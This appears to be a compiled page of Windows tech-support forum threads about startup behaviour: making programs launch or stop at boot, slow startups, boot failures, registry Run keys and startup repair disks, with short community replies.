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How To Make Something Load At Startup

Q: How To Make Something Load At Startup


I have a document in which I keep a log of all my jobs to do at work. Is there any way I can make this document load automatically once I logon to Windows (XP-Pro)?

Or, even stranger, can I make this document my desktop, without having to take a new screenshot every time I make a change to it..? Just a thought, probably the first way is far easier.



A: How To Make Something Load At Startup

I don't know a way to do exactly that.You can display a picture file on your desktop and you would have to do a sceenshot to accomplish that, but you can make a keyboard shortcut to it, opening it with the press of a key or combination of keys.If that will work for you there is a small freeware ap that will let you do so named Copernic WinKey which you can download here:

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I have windows xp pro, and my computer is pretty smooth and fast except for starting up or shuting down, because of norton antivirus 2006, I have test it several times, which I still need protection for my computer, therefore is there a faster way for my computer to load norton at startup?

A:Is There A Way To Make Norton Antivirus Load Faster On Startup?

No u can not.

NAV2006 is way more system hog, just cause of security.
It boots autoprotect, and protectes files, it runs a automatic liveupdate at startup and that takes time to.

and some other several stuff.

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i changed my account to 'standard user' because i heard it was safer. but to do that i had to create a new user account to be the administrator. but i dont use that account, and at startup it makes me choose which account i want to load. I just want it to go straight to mine. how do i do this?

sorry im a noob

A:Solved: How do i make my computer load a specific user account on startup?

No need to be sorry, bandit94. The way to do that is pretty obscure. This article says Windows XP but I'm 95% confident that it is the same deal in Vista.

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Windows Xp Doesnt Wanna Load, I Gotta Restart To Make It To Load

Before the repair it didnt wanna load at all - also I have some hard drive issues ( that got cut off and came our weird , sorry)


OK, Im gonna explain what happened step by step cause Im not sure whats important. I dont understand very much about this stuff. I hope someone more expirienced then me will help me out.

Im using windows xp proffessional version.

OK It first happened while I was surfing online, I was surfing on sites that I can say are pretty much safe, but at the same time I was running either AVG 7.5 antivurus or their AVG antispyware 7.5 (not sure which one of the two) . At some point when the scanning was on my E hard drive ( windows is on my C hard drive ) the computer froze and naturally I restarted. But windows didnt wanna start after the restart, it kept giving these messeges: windows didnt shut down properly and it asked me to choose to start it in safe or normal or etc.. mode.

I tried every type of start mode, it didnt work. Windows wouldnt load and u know that line where windows loads would move a while and then responce no nothing. So I tried restaring several times. Same thing, widnows didnt start properly last time, choose a mode...after I choose it loaded for a while but then stopped!

So I took it to the repair, the re-installed my windows. Now when I wanna start it, it runs properly doesnt ask me to choose, windows ... Read more

A:Windows Xp Doesnt Wanna Load, I Gotta Restart To Make It To Load

Are you able to boot in safe mode? It seems like you might have a conflict with the program wanting to run at start up..
My first suggestion is to boot safe mode, then remove your AV.. See if that helps..
Also, do you have more than one anti-virus program installed?

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In nearly 20 years of using Windows, I've never needed to make a program run at startup, so I have always deleted the "Startup" folder because it has always been redundant and I like my "All Programs" folder to be as neat as possible so I can quickly find what I'm looking for.

However, today for the first time I have 1 program I need to make startup when Windows boots.

So could anyone tell me how to enable the Startup folder once again? Or better still, is there some way to make my program launch on startup without using the Startup folder - like normal programs do?

A:How to make a program run at startup (without using Startup folder)?

Hello Marty,

Type shell:startup in the Run dialog (Win+R) to see if it may open your Startup folder.

Startup Programs - Change

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My mom's computer has a problem. She installed something from our ISP, which boots up their browser, and other "support" for their service.

The problem is it takes an incredibly long time to startup because of these, once we close them it gets back to running fast, but until then we have to wait for them to open. I think it's causing the problem because we didn't have this problem until we installed this.

How do I make it stop starting up on Windows XP? I sped up my startup on my computer by stopping useless things from running, but I want to do it on her computer because she always complains to me for help, yet I've forgotten how to fix it.

A:How Do I Make Things Not Startup at Startup?

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I was wondering what the difference was whether you had a program load at startup (by checking a box within the program to have it load when the computer boots) and unchecking that box but moving a shortcut to the programs executable into the startup folder on the start menu.

Is there any difference?

A:Load at Startup or Load at Starup?

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When I turn my computer, the windows logo appear but go to safe mode etc. after we choose anything computer stop loading in d347bus.sys then computer restart go back to safe mode etc. and if i push esc the loading d347bus.sys the computer go back again in safe mode etc (loop). whether or not I push esc it won't do anything else. How to repair it?

A:Load d347bus.sys make restart

Found this through Googling

This issue is caused by Demon Tool d347bus.sys has confilicting issues with SP2 & some other programs
U can fix this by booting to Win Cd Recovery mode.
then login to admin & delete the following
Then exit...
your computer should reboot just fine thenClick to expand...

If it still doesn't work from doing this I can post a Repair guide, but I need your version of Windows, instead of just providing them all (Home Pro Vista Xp..)

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Hi everyone,
I have been working on this my site today I was at a friends and she has a older computer I think its serial # 0000003 anyway I looked up my site it took forever for the pictures to load in fact i would not waited if it wasn't my site is there anything I can do to make them load faster? thanks Rehia

PS I'm giving Dave a break.

A:how to make pictures load faster

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Does anyone know of any ways to make Opera load quicker. It seems to start so much slower than IE or Firefox. I have reduced the size of the disk(2MB) and memory(4MB) caches. I've also trimmed down the fonts folder. It didn't really make a noticeable difference in the load time though. Does anyone know of any other tweaks/tricks to make Opera load quicker?

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Yesterday I loaded my computer from hibernation, switched to the login screen when I had to leave my computer for a minute, and then came back and accidently restarted the computer after I signed in.

I'm not sure when the hibernate file is deleted or overwritten, but I would not allow Windows to load up again after the restart. A password is needed at bootup, so I shut the computer down instead of letting it load the OS.

Is there any way to get Windows to load the hibernation file? Since I had loaded the computer from hibernation before this, I'm guessing the file is still there, unless the restart caused it to be deleted. I'm using Windows 7 64-bit Professional.


A:Any way to make Windows 7 load from Hibernation file?

Hello x8e925 Welcome to the Seven Forums!

First I will start off mentioning that back when 7 was first new and before the retail launch you could download a VM type program to launch 7 beta, RC builds from a usb flash drive. But the fast portable installs still required some form of boot loader and the OS was still loaded into the active ram(random access memory).

The best recommendation I generally give for how to go about seeing Windows load up properly following any period of hibernation or sleep mode besides the OEM form of resuming last session that can occur with a battery disruption(battery needs recharge or ac plug pulled out while Windows is running, etc.) is to simply plan to restart Windows so everything loads up fresh. That way device drivers are loaded fresh into memory once again rather then seeing Windows stall on you. It can save a number of headaches people report at times!

The only form of hibernation file you could see for 7 or any other OS for that matter wouldn't be your main OS to answer that question but a Virtual Machine where the Virtual Hard Disk(VHD) is a file stored locally on the main or other hard drive. That requires a program like VMware's VM Player or in the case of the XP Mode the Virtual Machine MS had provided Virtual PC 2009 or the previous Virtual PC 2007 people would run XP VMs with on the older Vista version.

When not in use the VM remains in a dormant mode as a file on the drive but not what you are looking for here. The fresh reb... Read more

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my local area connection says im connected at 100.0Mbps
But when ever i load up a page it doesnt seem to load, if i keep re-freshing it works ok
When going on to myspace it says at the bottom left of IE, that there are errors on the page, ive never seen this before.

Any help would be great


A:I have to re-fresh the webpage about 5 times to make it load

Driving me crazy!

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i tried putting all the files on to the usb drive however, the system doesnt boot from the usb drive! how do i make it so its bootable. thanks in advance

A:How do you make a USB drive bootable so I can load W7 on a netbook?

Install Windows 7 on Asus Eee PC 900! ? multimolti’s Techblog

check here....

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I have two HDD, 1) 200GB and the 2) 80GB, I have windows xp installed on both. None of the two windows have logon password and each windows has one account only, plus the guest account.

I used the winodws Xp in the 80GB to take ownership of the user profile in Documents and Setting that is in the 200GB HDD, now I booted the computer with the 200GB HDD and it doesn't load the original user profile it made a new one.

So now I have two profiles in one user account:

Say the original profile is named A and the new one is named B, I want to delete B and make windows load A.


A:how can I make windows load a specific user profile?

Hi JustinK. . .

Some clarification, please...

1. Did you install the SAME XP OS on both (using the same product code)?
2. Is your intent to have one HDD mirror the other?
3. Did you use an Admin account to take ownership of the user profile in the "Documents and Settings" on the 200GB HDD?
4. What is the purpose for taking ownership?
5. Can these 2 HDD's see each other and are they interactive with each other?
6. Do they each have an independant system registry, if you know?

Thanks. . .


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With my Windows 7 Home Premium I use Microsoft Word Starter 2010, which came preloaded to my laptop. I save much information in it's standard 'document' page. When I click on a saved document, after about 5 seconds it displays the small window "Microsoft Word Starter 2010" and goes through some process, telling me it is 'starting', 'processing' and takes a further 10 to 20 seconds for the actual document to open. This happens even when opening a blank document. Is there any way that I can speed up the opening of a document.


A:How Do I Make Microsoft Word Starter Load Faster

Hi. Welcome to the forums.
Maybe you could use these tips?
How to Speed Up Microsoft Office: 8 Tips |


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Umm, the title of the post is pretty self-explanatory on this one

Basically, I've got this program called DesktopX that I use but McAfee sees it as a suspicious script whenever it loads, so I need to click the button to allow it every time I start the computer. There isn't a way in McAfee (or so I'm told) to allow certain scripts to run all the time, so the only other solution I see is to have DesktopX load up before McAfee does, bypassing the script scanning.

Is this possible?

A:Is there a way to make one app startup before another?

I doubt there is anyway you are going to get around Mcafee. If it were that simple, the script scanner would be useless. Antivirus programs are set up to start doing their thing right off the bat -- usually running as services which have a priority in the startup.

If it were just a matter of getting it going before most other programs you could probably configure it to run as a "runservices" entry.;EN-US;Q267288
There is also a way to install a program as a true service. This is a bit trickier and I've never done it myself, so I probably can't sort out any real problems for you if you have difficulty with it:

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The title says it all! Basically, I've been using AdFender (which I believe was recommended by this site) and it was working great. However, it seems that certain sites (like google and youtube) will only load as an https now, even if I'm logged out of the account. AdFender doesn't work on https sites, so now I'm bombarded with commercials and banner ads on videos: It's absolutely terrible!
So, can anyone either:
1. Recommend an adblocker that works on https sites?
2. Tell me how to run sites that default to https as an http?
Thanks for your time!
ADDITIONAL INFO: I forgot to mention that I am using Windows 8.1 and have had this problem on both Google Chrome and Internet Explorer.

A:How to block ads on https sites OR make the site load as an http?

I don't know about AdFender. I've been using AdBlock for years and I think a lot of BC members use it.

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A:Solved: Unblocking Good Ads in IE 8 and Firefox 3.6 To Make Pages Load Better

I doubt the error has anything to do with AdBlock. It doesn't apply at all to IE. It's a Firefox plug-in.

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howdy - I want to make a startup item persistent, specifically an RDP connection. I've added the item to HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows\load. It starts as desired but I'd like to make it persistent so if it gets disconnected or cancelled it will reload automatically. Any advice is greatly appreciated!

A:want to make startup item persistent

That sounds like it would be a security issue, and how many licenses are on the server you are RDPing to?

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In Start/Run/ msconfig, Startup tab, how can I copy to show on this forum?

A:msconfig,startup make copy?

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When I put Windows 8 in sleep mode (yes sleep mode...I'm not shutting it off), and I turn it on, it sometimes takes up to 5 minutes to respond to any input. I'm wondering what I can check to make sure the minimal apps/programs are running, and there are no unnecessary memory hogs churning in the background? How can I test it, monitor it, and optimize it?

Also, has anyone had any issues with Firefox sucking up tons and tons of RAM? When I look in the Task Manager, and sort by Memory, Firefox is ALWAYS at the top of the list. Is there any way to regulate the max memory settings for Firefox?

A:How to Make my Windows 8 Startup Faster?

The first thing you can do is open an elevated command prompt and make sure you have the S3 sleep state available:

Type powercfg -a

Note that I am using a desktop and I have hibernation disabled. Please post a screenshot of your results.


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Hey people,

When I plug onto the network at my work office, a small progarm runs on CMD which was written by the IT guy. It basically finds your place on the network, maps the network drive and reconnects to all the office printers and sets the defaut printer.

I want to be able to do a similar thing at home if this is possible. All I want the program to do is set my default printer at home.

The gyt has shown me the program and it written in notepad but I dont know how he gets it to run at startup (as long as you are on the network)?

Can anyone help me?


A:How Can I Write A Program & Make Run Via CMD Upon Startup??

It's probably run as part of the login script. It's probably a simple batch file.

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How do I make a Windows 7 Startup Disk on a USB Drive?

A:How do I make a Windows 7 Startup Disk?

USB Windows 7 Installation Key Drive - Create

If you meant System Repair Disc: System Repair Disc - Create
There's a note at the end of the tutorial(step 7) on how to create it on a USB.

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I am trying to fix my girlfriend's laptop.. Windows 7, acer laptop.
So on startup the most usual think u can see is this ( just recorded )

Sometimes it opens but mosttimes it is like the video.. F2 works sometimes again.. Realy strange problem.. :/
What can i do?

A:Can't fix laptop, can't boot from cd to make a startup repair..

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Programs, in general, have removed the prompt for a customization option e.g. "Add to Start Menu."  Consequently, many programs change Personalizations which are either noticed post-install or creep up due to performance issues.  Firefox updates are also culprits i.e. change my profile by modifying the toolbar.  I'm looking to at least prompt to avoid these surprises post-installation.  Ideally, I'd prefer to restrict applications from summarily adding to the start menu or placing an icon on the desktop or adding to the taskbar, etc.  The online documents I've seen refer to removal after changes are made, but I want to pre-empt this "take-over." 
I'm a Win 7 32 bit recent recruit and a formal comfortable Win XPer.

A:Define prompt before apps make changes e.g. Startup

IMO...unless you have access to the installation routine used by the specific program developer...your only alternative to control what is installed is to read carefully options provided.
Browsers vary in what they install without permission...installing any toolbar is just asking for trouble, IMO, which is why I prefer IE over other browsers.
XP is no different than any other version of Windows in that respect, IMO.  XP does not provide those options, they are inherent in the specific program install routines, IMO.

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how do i make Black Glass Enhanced v0.5 startup in windows 8.1?
i tried putting it in startup folder and it works kinda, when it starts up you have to click run every time how do i avoid that?
and the software itself when i click enable to startup it don't work what can i do?

A:how to make Black Glass startup in windows 8.1?

Try this:

Originally Posted by sygnus21

You could check out this tutorial and see if it helps - Elevated Program Shortcut without UAC Prompt - Create. This one is for Windows 7, haven't checked to see if Brink created one for Windows 8.1 so...

With that tutorial done, try putting the elevated shortcut into your startup folder, or even setting up the scheduled task to execute at either system startup, or when you (as a user) log onto Windows.

If you set this action up to be started at system startup or when you log on, the advanced options become available for you to delay this action, and there are many selections, such as 5 minutes, 8 hours, 1 day, etc. as below.

If you have further questions, please reply to this post and I'll help as best as I am able.

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Here's the problem. I originally had Win98SE, but it was corrupted and had missing files. So I wanted to install Win2000 Professional. I did a clean install (I thought this would erase everything in C:\, but it didn't). So now I have two operating systems, and Win98SE no longer works, but you can still select it from the "OS Menu" when loading up. I want to reinstall it again, but this time format everything in my C:\ drive so everything is gone and clean because right now, everything from the old Win98SE is still there (all the data). My question is, I know that you format from MS-DOS, but how do I get back into MS-DOS from Windows 2000? Is there anyway to boot it back up in MS-DOS? I believe you have to create some of sort of bootup disk, right or something?

Note: Note: In the Windows2000 installation, C: partition cannot be deleted or else I wouldn't have had this problem.

My friend suggested to create a startup disk that allows you to boot up IN dos, but how do you make a win2kpro startup disk that starts up in DOS? (the original 4 regular bootdisks doesnt boot up in DOS, but it only creates a win2k setup)

A:formatting questions/how to make a w2k DOS startup disk?

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How to make a program start at windows start-up:

Run - These are the most common start-up locations for programs to install auto start from. By default these keys are not executed in Safe mode. If you prefix the value of these keys with an asterisk, *, it will run in Safe Mode.

HKEY_LOCAL_MACHINE\\Software\Microsoft\Windows\CurrentVersion\Run (this entry may have to be created completely it will run the program for all users of the computer)

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run (this entry should already be there as the currentuser of the machine no creation necessary)

Start by typing "regedit" in the start menu search bar and hit return. Then navigate to the following entry. All are work is going to be done in the right-side of the registry editor window.


HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run is the location that I want to put in my registry entry for my program that I want to start at windows start-up. I want to put speed-fan in my registry star-up since it doesn't have an auto run entry selection in the program options.

So I navigate to where speed-fan was installed and copy the address of it by right clicking on the address bar and select "copy address as text".

Right click this address line and "Copy address as text"

Then I swing back to registry editor and create a New String Value and name it Speed-Fan.
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A:How to make a program start at windows startup:

A couple of the screenshots are wrong this is what it should look like correctly done sorry for that.

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I'm actually getting two prompt boxes at startup that I've never seen before. I will have to restart my computer to get what the other prompt is. This one has me concerned because it's an exe file and looks like it's in my registry. When I looked at the properties I found the file location. It's c:\program files\pc reg\service.exe
I'm not sure where this came from as my kids both use this computer as well. They usually watch YouTube videos and Facebook. I myself had gone to a free font site and accidentally clicked on something I thought was the font file. I thought I removed it but apparently not. It also seems like it had turned off my antivirus. I have Norton Security Suite from Comcast. 
Can you help from what I've given or should I get more information and if so what would you like? I'll gather it all in one response if you need more information. 
Thank you in advance for your help,

A:Search Safer Inc keeps prompting me at startup to allow it to make changes

Hi kellygirl924,
Please follow these instructions PLEASE feel free to let me know if you have any trouble!
Please download AdwCleaner by Xplode and save to your Desktop.
Double-click on AdwCleaner.exe to run the tool.Vista/Windows 7/8 users right-click and select Run As Administrator.
Click on the Scan button.
AdwCleaner will patient as the scan may take some time to complete.
After the scan has finished, click on the Report button...a logfile (AdwCleaner[R0].txt) will open in Notepad for review.
After reviewing the log, click on the Clean button.
Press OK when asked to close all programs and follow the onscreen prompts.
Press OK again to allow AdwCleaner to restart the computer and complete the removal process.
After rebooting, a logfile report (AdwCleaner[S0].txt) will open automatically.
Copy and paste the contents of that logfile in your next reply.
Next download and install Malwarebytes Anti-Malware from here (
Click on run scan at the top right hand of the program and allow it to run.
If you can not run Malwarebytes please let me know!
Let me know how the following turns out.

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Hi. My uncle is new to computers. The password he used when he first started up his laptop would show as he typed it but now it does not. It only shows dots as he calls them when he types. He wants it to show. Is there a setting that can be changed? I have been unable to locate that setting on my laptop to tell him how. Its windows 7. Thanks.

A:How to make startup password visible windows 7??

Hi Clair8 and welcome to the forum,

There is no setting I'm aware of that would make them visible characters.

A while back we tried to find something similar for another person, and it wasn't successful.

It is like that for security reasons. Is he having problems logging in?

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A:How to make Acrobat XI splash screen at startup available?

Don't use Adobe myself, but it looks like the path is

Edit> Preferences> General> Application Startup> Show Splash Screen

A Guy

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I just got a new Lenovo laptop and I'm trying to have everything run smooth but my startup is still pretty slow. These are the programs I have running at startup and I was wondering which ones I could disable without affecting my laptop's performance:

Adobe Collaboration Synchronizer
Abode Reader and Acrobat Manager
Adobe Updater Startup Utility
Apple Photostreams Uploader Executable
Apple Push
Conexant High Definition Audio Filter Agent
CyberLink YouCam Tray
Dolby Profile Selector
HP Digital Imaging Monitor
hpwuSchnd Application
iTunes Helper
Java Update Scheduler
Lenovo Battery Management Software
MUI StartMenu Application
Power Manager Startup Utility
PowerDVD 14
Quiktime Task
SmartAudio CPL
Synaptics TouchPad Enhancements
VM331 StiMnt
YouCam Mirage


A:Which programs can I disable to make my startup faster?

Hi cas4077, Welcome to Windows EightForums!

At a glance, I would guess almost all of them;
however, it all depends on which programs you need to be poised for readiness when you sit down to your machine as opposed to bearing the fresh loading of an application when called upon.

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basically, I wan't to make it easier to share home movies on cds. Rather than going into my computer then locate the file I was
wondering if there is a way to have it automatically start up when it is inserted into the drive. Thanks in advance for the help.

A:how do I make an mpeg file on a cd startup when it is inserted in the drive?

It's something pretty easy to perform. All u gotta do is create a new text file and save it as "autorun.inf" (with quotation marks). In it, type:

Icon=icon.ico (if u want)
Name=MyHomeMovie (also if u want)

"mymovie.mpg" is the name of the file and "icon.ico" is the name of the icon


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My question is on the attachment. I had trouble filling in this form.

A:[Solved] Much spyware, viruses. Can I make startup disk?

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Hey guys,
Yesterday my computer was working just fine, I shut it down to go to a friend's house and when I came back it had the little ":( There's somethign wrong with your computer" with the error code "DPC_WATCHDOG_VIOLATION" and now it boots straight in to start up repair.
I tried a few things to troubleshoot this morning; ran chkdsk /f/r - nothing found, but it could not write errors to the log file with a status 50, tried to system restore but it would not go, saying the drive was corrupt, though the disk health check on Hiren's Boot CD completely without errors. Startup repair said it could not be completed and created a logfile I can't read (Dunno if there's a command to read text files in cmd, but apparently help is no longer a recognized command.
Lastly, I tried the windows built-in reset, which got to 1% and said that it can't reset this PC, no changes were made.
EDIT:  Now I'm even more confused, I figured out how to read the srttrail log (the startup repair logfile) and it comes up with "Boot status indicates that the OS booted successfully."

A:Windows 10 refuses to boot - Can make no changes in startup repair

Start with these free, bootable diagnostics:

This sounds a bit like a hard drive issue to me.
chkdsk only checks the file system on the hard drive - not the physical hard drive itself.
SMART is just a predictive technology - it's not meant to be a diagnostic tool.  I have seen many dead hard drives that have passed SMART (we had 2 or 3 at work today - the W-D DLG tool displays SMART as you start the diagnostics).

But, as the chkdsk couldn't write to the drive - that's significant.
As is the failure at 1% of the reset

Don't feel bad about reading the srtrail log - I still get confused by them :0)

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Hi ..
this has been a real issue for me over sometime ..

I have my pc configured for music production. I have multiple drives installed (6 in total)

The issue is this :

the boot drive where windows 7 is installed is OK , but windows boot process freezes at the startup logo screen and does not go past this stage.

after investigation I found out that when one of the OTHER drives is faulty...
windows does NOT boot ..
if you disconnect the faulty drive .. then windows BOOTS normally.
No message is displayed during the windows startup phase ..

is there a way to configure windows such that It IGNORES the bad drive at startup...
it seems that windows waits for the drive indefinitely and jams there not timing up after some time.

finding the faulty drive is a pain .. you need to disconnect all drives except the boot one.. then connect one after the other .. till windows jams again .. then you know its THAT bad drive ..

you help is appreciated.


A:how to make windows 7 ignore a bad data drive at startup


It's a hardware thing, which a windows layer is trying to sort out.
I've also seen dozens of pc's, in my day, stall if a dvd drive has gone bad.

Here's a preventative maintenance tip I can give you.
Most hard drives (mechanical spinners) don't just suddenly quit. They give warnings. Install Acronis Disk Monitor; it's free.

Invoke it once a week, where it will tell you about each hard drives' health.
If one starts showing signs of failing, ADM will be all over it letting you know.
When a drive gets below 70% health rating, time to take it out of service.

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Just installed Office 2013, Home & Business.

If I open OneNote, the "Send to OneNote tool" shortcut appears in my taskbar, notification center and startup folder. How can I stop this?

A:How to make OneNote stop appearing in Startup folder?

Read the Link below ..

Remove OneNote from startup in Win7 - Microsoft Community

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So, I have an HP Laptop that runs Windows 8(I believe I upgraded to windows 8.1, but there is a sticker on the bottom of the laptop that says Windows 8) , and everytime I turn it on it gives me a Hard-Drive error screen that reads: "SMART Hard Disk Error The SMART Hard Disk check has detected an imminent failure. To ensure not data loss, please backup the content immediately and run the Hard Disk Test in System Diagnostics. Hard Disk 1 (301) F2 - System Diagnostics ENTER - Continue Startup For more information, please visit" And on pressing enter it automatically goes into Automatic Repair mode, but after loading and 'Diagnosing my PC' it comes up with a screen that says: " Automatic Repair couldn't repair your PCPress "Advanced Options" to try other options to repair your PC or "Shut Down" to turn off your PC.Log file: C:/Windows/System32/Logfiles/Srt/SrtTrail.txt " I was wondering, could I use my Desktop that I am writing this on to make a Recovery USB and fix my laptop? My desktop is a Dell and runs Windows 8.1 Pro. And help/advice on how to fix this problem I am encountering with my laptop is greatly appreciated. Regards,Chris. EDIT:In the battery bay of my laptop it says my Model is 2000 - 2d49WMAnd if needed I can post a picture of the information in the battery bay like the Serial/Product number

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It says it can't repair the errors - no biggie. But now the utility won't stop running. Whether I restart within the utility or do a system restore to an earlier point in time, it just won't stop!!! GRRRRRRRRR

Any suggestions?

A:Chkdsk runs EVERYtime on startup - how do I make it STOP???

Originally Posted by Coloradolime

It says it can't repair the errors - no biggie. But now the utility won't stop running. Whether I restart within the utility or do a system restore to an earlier point in time, it just won't stop!!! GRRRRRRRRR

Any suggestions?

I have an idea...
You could try that out.

Start > Run > Msconfig

1- Check in general to have a normal Boot.
2- Go in the TAB Boot, go Advanced. All that should be checked is the Number of Processor ( Use the more you can for a faster boot ) and the Debug Report thing.
3- In the TAB Boot, nothing should be checked only the Make boot setting permanent.
4- Go at Services TAB and Uncheck CHKDSK if it is there
5- Go to Startup TAB and Uncheck if CHDSK is there

Thats all my IDEA.. See if it works, and tell us if it worked.

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what the title says is there a way how to make programs startup in a certain order when windows starts? Msconfig just shuts on or off is there a way how to arrange the things at start up in order?

A:is there a way how to make programs startup in a certain order when windows starts?

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I'm sure I can safely assume nobody has ever asked this question before (or probably even thought of why one might want such a thing!).

You see, I have this program that I made which I use to send running apps to the system tray. I use the program exclusively through explorer's desktop link "shortcut key" feature (ie. Ctrl + Alt + ?). In fact, I use the feature for two programs using the same feature. I find this to be very handy because in both cases I want to bring the programs up mostly when the desktop is obscured, or when I need to keep the mouse cursor fixed or whatever. Doesn't matter.

Thing is, once explorer is up and running you can hide those desktop shortcuts and the shortcut keys still work. I have no use for those icons on my desktop, and in fact I don't want to see them at all so I have a batch file that hides them as soon as I open up any cmd box. Problem is, if I log off then when explorer restarts it doesn't pick up the .lnk files and I have to unhide them, restart explorer then hide them again. But I know that H is just an attribute and explorer can still see the files and process them if I could only find a way to ask it to do so. I tried setting just the 'S' attribute which (according to my settings) *should* make a file invisible to me even though it is not "hidden". But either the settings are lying or there's more to making something a system file than setting the system file attribute.

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A:How to make explorer see/process a hidden desktop link at startup

If you don't need the shortcuts on the desktop why do you put them there? The keyboard command should work wherever you put the shortcut. Try creating the shortcut in the program's folder and set the keyboard command as usual via shortcut properties. Then leave the shortcut alone.

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Ok, basically, whenever I log onto my file, or anyone elses on my computer, I get an error message that says 'Wrong Version of DLL file'. This warning comes up about 5 times and it really slows my computer down at startup. Here is the log of the HijackThis scan I did:
Logfile of HijackThis v1.98.2
Scan saved at 15:09:23, on 2/14/2005
Platform: Windows XP SP2 (WinNT 5.01.2600)
MSIE: Internet Explorer v6.00 SP2 (6.00.2900.2180)

Running processes:
c:\Program Files\Common Files\fh.exe
C:\Program Files\Musicmatch\Musicmatch Jukebox\mm_tray.exe
C:\Program Files\MSN Messenger\msnmsgr.exe
C:\Program Files\SAGEM\SAGEM [email protected] 800-840\dslmon.exe
C:\Program Files\Creative\SBLive\PlayCenter2\CTPlay2.exe
C:\Program Files\Creative\ShareDLL\MediaDet.Exe
C:\Program Files\Creative\Media Manager\DBServer.exe
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A:'Wrong Version of DLL File' at startup! Please help with hijackthis to make it stop!

Please print out or copy this page to Notepad. Make sure to work through the fixes in the exact order it is mentioned below. If there's anything that you don't understand, ask your question(s) before proceeding with the fixes. You should not have any open browsers when you are following the procedures below.

You have an outdated version of HijackThis. Click here to get the latest version of HijackThis and run it.

Before you give us a new log here, if we gave you instructions for a fix, please do the fixes first and then post the new log with this updated version.

1. If it gives you an intro screen, just choose 'Do a system scan and save a logfile'.
2. If you don't get the intro screen, just hit Scan and then click on Save log.
3. Get HijackThis Analyzer and save it to the same folder as the hijackthis.log file. Run HijackThis Analyzer and type in y if you agree. The result.txt file will open up in Notepad. Copy the whole result.txt log and post it in the forum. We do not need the original hijackthis.log (unless we ask for it). Do not fix anything in HijackThis since they may be harmless.

Go to My Computer->Tools/View->Folder Options->View tab and make sure that 'Show hidden files and folders' (or 'Show all files') is enabled. Also make sure that Display the contents of System Folders' is checked. Windows XP's search feature is a little different. When you click on 'All files and folders' on the left pane, click on the 'More advanced options' ... Read more

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want to know if their is anyway to make my laptop startup w/o showing error when it doesnt properly shutdown.My keyboard shorted out,wiggled the ribbon & the connector came off the motherboard.I have no usb keyboards.So if i don't shut down properly,it shows the error message with options.Usually startup repair is highlighted by default.And since I have no keyboard to change the option,it starts that automatically after countdown & I can't cancel it.

It's very irritating.I just been using the on screen keyboard,I actually don't mind that.I know just shutting it down properly will fix this.But their is times where I lose power to laptop sometimes.Im not a noob,I normally leave my laptop plugged up w/o battery when I use it.Sometimes the plug comes out(dogs knock it out etc.).I know most laptops are supposed to stop sending a charge to batt once it's 100%.But I think it's bs & don't trust it.My preference & opinion

A:anyway to make my laptop startup w/o showing error when it doesnt prop

Get a replacement kb online, yeah not ysing ur battery is bad coz your directing all the power straight to ur hard ware

Btw op, do u still have ur power button? Set it as a shut down button it takes a lil bit longer tho

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My CD/RW Drive stopped working and I had it replaced under warranty at Best Buy. When I received my computer back and started it, only the clock and volume icon showed on the tray. I checked msconfig startup tab and found they had unchecked all the items listed there. I know enough to check my anti-virus program, but being new, I'm at a loss as to what else to check. Does anyone know where I can find out which if any of the other items I should check to load at startup?

A:What to load at startup

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Good evening:

I have a very troublesome problem concerning a customer's laptop and her USB mouse and other USB devices.

Basically, WindowsXP does not load the USB devices when starting up. If the mouse is plugged into the USB port when the computer boots and Windows XP loads, it is not recognized. There are no "unknown devices" in the device manager concerning the mouse, and it is unresponsive. This is the same symptom of my thumb drive and her IPOD.

Interestingly enough, the optical mouse (not wireless) does have power as it is lit up during POST screens, however, it shuts off when Windows loads. To use the device, we have to unplug them from the USB port and plug them back in. At this point, Windows will recognize the device is present and allow us to use it.

The USB emulation settings in the BIOS were turned off, I've switched them to "on" and still have no luck with this.

I cannot recall the specific model of the computer, but I do know it is of the Toshiba Satellite series if this makes any difference.

Thank you for any assistance on this as I've beat my head against a wall with this for about 5 or 6 hours and would appreciate about any suggestions (even if it includes beating the laptop against the wall).

A:XP won't load USB devices at startup.

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My girlfriend recently bought a new laptop from DELL (Studio 15) w/an i7 processor/4GB RAM/64bit Windows 7 ultimate.

Anyways, she really doesn't do anything on her computer (definitely doesn't need that kind of computer) and only has these programs installed:

Mozilla FireFox (I use)
Google Chrome (She uses)
Verizon Wireless Internet Program
AOL Instant Messenger
FrostWire (I hate it, too)
Internet Explorer (Neither of us use)
Anyways, nearly all of those have icons on the desktop and about 50% of the time, when she turns on her computer, either they're all white or none of them show up, at all. She doesn't have to reboot for them to show again, all she has to do is logout and log back in. Although, that is rather tedious to do nearly every time that she turns on her computer.

Any quick fix?

A:Icons do not load on startup

See if this helps you out,

Icon Cache - Rebuild

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Whenever I turn on my pc, like every other system running windows XP, i get the familiar loading screen with the little bar going across. However, 1 time out of 2 it stays loading at this screen for 10 minutes or even more. I have a limited amount of startup processes. No full folders on the desktop.

AMD Athlon64 4200+
Antec Smartpower2 500w PSU
160gb Maxtor Diamondmax S-ata Hard Drive
Nvidia 7900gtx 512mb PCI-e

Any ideas anyone??

A:XP Startup Load Screen

Do you think that you could be infected with Spyware? If so read this and follow the instructions carefully.
If not then you could do a repair of the current Windows installation. read here

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Had been using my computer yesterday and finished my task, put computer to sleep and returned about 5 hrs later to enter some more info but it would not start.  It kept giving me a " returning to power saving mode".  Tried several times, turning off and back on but to no avail, same message.  When clicking on monitor buttons, it gave me a "no signal from your computer, returning to power saving mode".
It is a Dell Inspiron 560 with Windows Home.  It is on a home network and other computers were working fine.  Anyone have any ideas?

A:Windows 7 won't load at startup.

I know this is a long-shot, can you try an external monitor via VGA port?  If this is not a software problem, we can attempt to pinpoint either a built-in video display problem or an internal video graphic card problem.  To rule in or rule out software -- what happens in Safe Mode?  Or, even before that, can you get into and see UEFI or BIOS screen?

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Hello...newbie here
Here is my problem, which has been happening for about 2 weeks. At first power on, the bios does its thing (post screen does show my hdd and its correctly configured as first boot device) and boot time is normal.....BUUUUT when its supposed to be time for the xp startup screen (xp logo with the little progress bar) nothing happens...i get a blank screen. If i reboot, then it'll be fine, xp loads and i go about my business as i would normally. This problem occurs just on my FIRST boot of the day.

A:xp startup screen won't load

run the h/d maufacturers diognostic program on the h/d

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Win XP: How do I stop a program from loading during startup? I deleted its icon from the Startup folder, but the next time I reboooted, the icon reappeared.

A:don't want program to load during startup

go to , and download 'Hijack This!'.
Unzip, doubleclick HijackThis.exe, and hit "Scan".

